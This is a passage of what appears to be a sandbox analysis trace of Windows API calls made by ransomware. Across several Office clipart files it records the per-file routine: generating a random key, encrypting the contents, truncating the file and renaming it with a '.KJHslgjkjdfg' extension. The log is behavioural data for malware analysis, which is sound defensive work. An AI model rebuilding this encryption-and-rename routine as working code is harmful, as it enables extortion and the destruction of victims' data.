| out: lpNewFilePointer=0x0) returned 1 [0212.918] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4c4c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4c4c, lpOverlapped=0x0) returned 1 [0212.919] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c50, dwBufLen=0x4c50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c50) returned 1 [0212.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.920] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4c50, lpOverlapped=0x0) returned 1 [0212.920] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.920] SetEndOfFile (hFile=0x130) returned 1 [0212.923] GetProcessHeap () returned 0x990000 [0212.923] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.923] GetProcessHeap () returned 0x990000 [0212.923] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf.kjhslgjkjdfg")) returned 1 [0212.925] CloseHandle (hObject=0x130) returned 1 [0212.925] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8362df00, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8362df00, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x382a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02067_.WMF", cAlternateFileName="")) returned 1 [0212.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.926] GetProcessHeap () returned 0x990000 [0212.926] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.926] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.926] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0212.928] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.928] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.929] GetProcessHeap () returned 0x990000 [0212.929] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.929] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.929] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.929] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.929] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.929] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.929] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.929] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.929] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.929] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.929] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.929] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.929] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x382a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x382a, lpOverlapped=0x0) returned 1 [0212.930] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3830, dwBufLen=0x3830 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3830) returned 1 [0212.930] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.931] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3830, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3830, lpOverlapped=0x0) returned 1 [0212.931] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.931] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.931] SetEndOfFile (hFile=0x130) returned 1 [0212.934] GetProcessHeap () returned 0x990000 [0212.934] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.934] GetProcessHeap () returned 0x990000 [0212.934] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf.kjhslgjkjdfg")) returned 1 [0212.936] CloseHandle (hObject=0x130) returned 1 [0212.936] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63332000, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63332000, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x1b4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02094_.WMF", cAlternateFileName="")) returned 1 [0212.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.937] GetProcessHeap () returned 0x990000 [0212.937] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.937] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.937] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.937] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0212.956] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.956] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.956] GetProcessHeap () returned 0x990000 [0212.956] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.956] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.957] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.957] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.957] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.957] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.957] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.957] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.957] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.957] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.957] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.957] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.957] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b4a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b4a, lpOverlapped=0x0) returned 1 [0212.958] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b50, dwBufLen=0x1b50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b50) returned 1 [0212.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.959] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b50, lpOverlapped=0x0) returned 1 [0212.959] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.959] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.959] SetEndOfFile (hFile=0x130) returned 1 [0212.962] GetProcessHeap () returned 0x990000 [0212.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.962] GetProcessHeap () returned 0x990000 [0212.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.962] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf.kjhslgjkjdfg")) returned 1 [0212.964] CloseHandle (hObject=0x130) returned 1 [0212.964] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d01f00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95d01f00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02227_.WMF", cAlternateFileName="")) returned 1 [0212.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.965] GetProcessHeap () returned 0x990000 [0212.965] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.965] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.965] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.965] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.965] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.965] GetProcessHeap () returned 0x990000 [0212.965] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.966] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.966] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.966] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.968] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.968] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.968] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.968] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.968] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.968] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.968] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x540, lpOverlapped=0x0) returned 1 [0212.968] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x540, dwBufLen=0x540 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x540) returned 1 [0212.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.969] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x540, lpOverlapped=0x0) returned 1 [0212.969] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.969] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.969] SetEndOfFile (hFile=0x130) returned 1 [0212.971] GetProcessHeap () returned 0x990000 [0212.972] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.972] GetProcessHeap () returned 0x990000 [0212.972] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.972] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf.kjhslgjkjdfg")) returned 1 [0212.973] CloseHandle (hObject=0x130) returned 1 [0212.974] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf83e1500, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf83e1500, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02228_.WMF", cAlternateFileName="")) returned 1 [0212.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.975] GetProcessHeap () returned 0x990000 [0212.975] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.975] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.976] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.976] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0212.993] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.993] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.993] GetProcessHeap () returned 0x990000 [0212.993] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.993] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.993] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.993] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.993] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.993] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.993] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.994] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.994] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.994] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.994] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x334, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x334, lpOverlapped=0x0) returned 1 [0212.994] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x340, dwBufLen=0x340 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x340) returned 1 [0212.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.994] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x340, lpOverlapped=0x0) returned 1 [0212.994] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.994] SetEndOfFile (hFile=0x130) returned 1 [0212.997] GetProcessHeap () returned 0x990000 [0212.997] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.997] GetProcessHeap () returned 0x990000 [0212.997] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.997] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 